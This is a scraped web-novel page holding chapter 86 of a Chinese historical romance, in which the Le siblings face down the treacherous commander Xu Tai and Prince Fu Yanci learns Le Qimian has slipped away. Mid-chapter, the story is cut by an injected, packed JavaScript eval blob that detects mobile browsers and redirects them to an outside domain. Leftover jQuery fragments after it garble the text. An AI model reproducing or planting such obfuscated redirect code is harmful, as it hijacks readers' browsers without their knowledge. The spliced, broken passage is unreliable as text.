默认冷灰
24号文字
方正启体

86. 叛徒

作者:黑吠本书字数:K更新时间:
    在发现那名将领有问题时,乐绮眠就对徐泰的立场起了疑。因为勾结闻氏一事,将领竟能瞒天过海,无人惩治,这岑州军上下,只怕早已千疮百孔。因此与乐斯年派兵围剿青鹿崖,并未通禀徐泰。


    如今被抓住把柄,乐绮眠好似早有预感,笑道:“徐经略不在帅帐商讨如何剿匪,却到鄙营寻人,是发觉我等几日便能拿下匪寨,手下人却数月都略无寸进,想招揽我二人?”


    她和乐斯年刚攻下青鹿崖,他就到了营中,原只是没有根据的猜测,如今她却怀疑,禅师的客人,正是徐泰。


    徐泰眼底凝聚霜色,寒声说:“好大的口气!你以为徐某曾效命于武安侯,便不敢动你二人?”


    刀剑距乐绮眠不过寸许,她压低身,并不慌张:“听闻徐经略以匪兵凶残暴虐为由,不愿招抚匪首,如今拿下青鹿崖,足以震慑对方,再拨些兵马,助我二人攻下总坛,应无不可?”


    徐泰听到“总坛”二字,眼神有瞬间发沉,但讥声道:“擅动兵马的账未与你算,你还敢借兵?我问你,你二人是不是于青鹿崖见了肃王?可知将领私会敌酋是大罪!不要忘了,是谁将乐斯年引荐至岑州?二公子怜你是女子,徐某一介武人,却不会手软!”


    他连傅厌辞的事都知晓,看来营中耳目不少。乐绮眠听出他有意绕开招安一事,反问:“那依徐经略之见,如何惩治?”


    她轻易就认了错,让徐泰一怔,乐斯年也瞧向她,却见她按住刀锋,向两侧拨开。


    士兵被这样蔑视,正欲还击,利刃在她压制下,竟纹丝不动!


    “保护徐经略!”


    “退后,不得靠近!”


    徐泰的卫兵纷纷亮出寒锋,乐绮眠却略过众人,径直走到马下,似笑非笑:“徐经略昔日为乐家军赴汤蹈火,功勋卓著,我不忍见你继续行差踏错,奉劝一句,与虎狼相交,终为虎狼所噬,背弃了所有诚心待你之人,就不知你被魏家抛弃那日,是否还有人,愿意救你了。”


    “你放肆!”徐泰瞳孔骤缩,眼锋杀机迸现,骤然出剑,“乐家败落乃咎由自取,与徐某没有半点干系!你将为魏家妇,不守节自洁,却与肃王往来,武安侯养出你这等恬不知耻的女子,还敢说旁人背信弃义?!”


    剑尖悬于乐绮眠颈前,她看不也看,轻柔问:“是魏安澜让你这么说?”


    徐泰冷斥:“何须二公子开口?一个女子如此不知廉耻,若非尚有些价值,夫家早将你休——”


    “谁不知耻?”乐斯年二指陡地卡主剑锋,长眸凌厉,冷视徐泰,“侯爷栽培你多年,白马河之战,你将作战之策告知魏家时,为何没想过自己知不知耻?”


    乐承邺当年提拔徐泰为副将,是存了让他做主帅的念头,可徐泰做了什么?他出卖一万乐家军,让他们死在白马河,尸骨曝野!


    “锵!”


    铁护手卡死佩剑,徐泰奋力抽拔,却抵不过乐斯年二指之力,他凉薄道:“徐某至少坐到今日的位置,你一个残弱无能的废物,行事还要女子指挥,世人皆知‘眉心簪花’,你身为武安侯之子,名头还不如妹妹!”


    这尖刻的讽刺出口,乐斯年眸光微闪,护手收拢:“同为乐家人,我妹妹声名在外,与我,有何不同?”


    徐泰含笑冷道:“可你的好妹妹,似乎不这样想啊。”


    乐斯年乌眉紧蹙,未解他话种含义,与他同时反击的乐家军已如泥牛入海,被人数众多的士兵层层围困。


    “他在激怒你,”乐绮眠审时度势,抬臂阻挡乐斯年,低声提醒,“你我虽擅自调兵,但攻下青鹿崖,他不能罔顾战功,逼你交出兵马,可一旦你动手,他就有将你我赶出军营的理由。”


    徐泰带来数千兵马,想拿下二人,早便得手,始终言语交涉,无非知道调兵的罪名份量不够,只有逼二人主动发难,才能一举将人赶走。


    乐斯年也意识到了这点,二人这次回岑州,不仅有魏家作保,太子和陆冕也出了力。但他远在京中,鞭长莫及,此时被逼走,两人再便无处可去。


    “咔!”


    “你听着,”乐斯年收了铁护手,退回原地,雨水无法让他身体发冷,这一刻的羞辱,却让他血液冻结,“你杀一万乐家军之仇,她记得,我记得,你该庆幸自己于魏家还有价值,否则今日被逼入绝路的,不是她与我。”


    徐泰面色陡沉:“还敢狂言,拿——”


    寒芒闪过,缰绳被勾断,他胯|下战马突然扬蹄狂奔,险些将他甩下马去!


    打算提剑劈向乐绮眠的卫兵一僵,面容煞白:“不、不是我!是她撞了我,又往一旁闪躲!”


    乐绮眠笑意清浅,分外冤枉:“你要劈我,我不还击,难道等死?是你剑术不精,砍断了主帅的马缰,如何怪到我头上?”


    徐泰的脸一阵青一阵白,他为了稳住身体,战盔几近甩落,在将兵面前丢尽了颜面,哪有半点主帅的威仪?


    “今日过后,你二人休想再无令调兵,再有两月,拿不出功绩,便收拾行装,滚回京中!”徐泰收回佩剑,一甩袖,朝将士喝道,“——退兵,随我走!”


    众兵翻身上马,随他而去。地面扬起烟尘,马蹄声很快消失在营门外。


    乐绮眠站在满地狼藉中,正要去看一旁的乐斯年:“那将领被他带走了,让人收拾了这里,你我先回——”


    乐斯年忽然开口:“昨夜,禅师向你提到了我?”


    乐绮眠收起玉钩的动作稍顿,不动声色返回鞘中:“昨夜?你与他不相识,他无端提你做什么?”


    乐斯年道:“他说与我同为乐家人一事,你并非这么想,你昨日没见过徐泰,他会这么说,只怕是从禅师处听来。”


    乐绮眠乌漆的眼浮现一丝兴味,俏皮地说:“他说得不错,禅师其实与我说了你的小话,这你也要听?”


    乐斯年盯着她,眉峰抽搐两下:“一个真身都不敢露的逋臣,我管他说什么小话?”


    乐绮眠说:“这就对了,徐泰的话不要放在心上。”


    乐斯年派人收拾了残局,事毕,见乐绮眠换了套轻便的骑装,频频看向营门外的御卫,打算从另一道门遛走,拦道:“不是让你老实待在营中,这是要去何处?”


    乐绮眠说:“有件事忘了同你说,禅师昨日告诉了我总坛的所在,我正准备去一趟。”


    乐斯年的眼睁大,愣在当场:“告诉你,什......什么?!”


    乐绮眠笑道:“对呀,就在妙应寺。”


    ***


    岑北距泽州的路程不到七日,御卫越过边境不久,便遭遇了小股闻家军。因为数目不多,被御卫迅速歼灭,但再往北行,闻家却兵力渐长。


    傅厌辞方从战场退下,让将兵在野地扎营,又将崔烈叫入帐中,一名御卫匆忙赶到,禀报道:“殿下,照看乐小姐的那两名弟兄来了信。”


    崔烈在案前查看泽州北部的舆图,闻言看向傅厌辞,目露意外之色:“殿下派了人看管乐小姐?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865504|167077||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    不怪他惊讶,从青鹿崖下山时,他见两人举止亲近,以为双方已经和好,可他会遣人监视乐绮眠,意味着事情没那么简单。


    傅厌辞说:“那名匪首,是给她喂下望舒之人。”


    崔烈分外诧异:“望舒?一个匪徒,怎么能给乐小姐喂下望舒?”


    乐绮眠在她与圣师的关系上,始终言辞含糊。两人如何相识,圣师既是她的师父,为何给她喂下望舒?还有,圣师看向她的眼神,都说明两人不是师徒那样简单。可这一切,她都不愿告知傅厌辞。


    见傅厌辞不答,崔烈有些反应过来:“所以殿下担心,匪首再次谋害乐小姐?”


    这只是其一,傅厌辞真正担心的,是乐绮眠还没放弃见圣师的念头。


    果不其然,那名御卫道:“两位弟兄说,那名叫徐泰的将领来了军营一趟,双方起了纷争。当时营中正乱,两人不好在徐泰面前露面,退避了片刻,但徐泰离去,再回营中,乐小姐就不见了踪迹。”


    傅厌辞说:“不见了踪迹?”


    他没看御卫,也没有任何动作,御卫却忽觉脊背一阵发寒,吞吐道:“是......是,乐小姐的兄长将两人请出了军营,不愿告知乐小姐去了何处。两人无计可施,这才告到属下这里。”


    傅厌辞缄默须臾,说:“继续搜寻。”


    御卫如蒙大赦,连忙行礼:“是,属下这就着人加快动作,一定在战事结束前,将乐小姐寻回!”


    等人快步离去,崔烈揣摩傅厌辞的反应,掂量着说:“殿下以为,乐小姐不在军营,是去找了匪首?”


    从御卫的话中,不难听出,乐绮眠是主动离开了军营,但她为何要这么做?


    想到离去前乐绮眠的乖巧与顺从,傅厌辞眼梢凝起霜色。不论见面时说得多好听,一旦离开他的视线,她便会将约定抛之脑后。


    就像只滑不留手的狐狸,永远不会老实听话。


    “若我没记错,殿下曾怀疑解玄与匪首有关,可上回没见到他的真容,无法下定论。依我看,无论此人是否就是解玄,能勾通闻师偃,又说动梁将打通粮道,有这样的本事,”崔烈委婉地说,“似乎不该找上乐小姐?”


    若看中乐家兄妹手中兵力,他该找的是乐斯年。但实际上,两人初来军中,势单力薄,于对方而言,应当没有过多吸引力。


    崔烈说傅厌辞怀疑解玄与匪首有关,其实不止今日,三年前闻仲达交代解玄尚存于世后,他就在调查解玄的下落。可紧那罗等人被闻家扣押,线索中断,这次查到匪首,也只是有所猜测。


    傅厌辞尚未应答,门口传来一声惊呼:“殿下!”


    刚跑出营帐的御卫突然折返,神色比方才更为惶恐,手中握有一封信,半跪呈在傅厌辞面前。


    “闻师偃忽然来信,说愿意退兵,只要殿下前往统军司!”


    傅厌辞展开信件,快速阅读一遍,神情几乎立刻冷了下来。崔烈接过信纸,粗略扫过,面色也是一变。


    因为信上写——


    “听闻肃王殿下在查解玄,可惜,紧那罗正在闻某手中。闻某意外得知,从进入日月教起,解玄就别有目的。当年他手段激进,根本不是为带领鬼鹫走出困境。因为他的生母,从来不是鬼鹫人,而是海琅王王妃!你在寻的武安侯之女,如今就在他的据点岑州妙应寺。想知道他为何针对你与迦楼罗?为何接见武安侯之女?”


    “不得带一兵一卒,亲自来统军司,我会告诉你一切。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)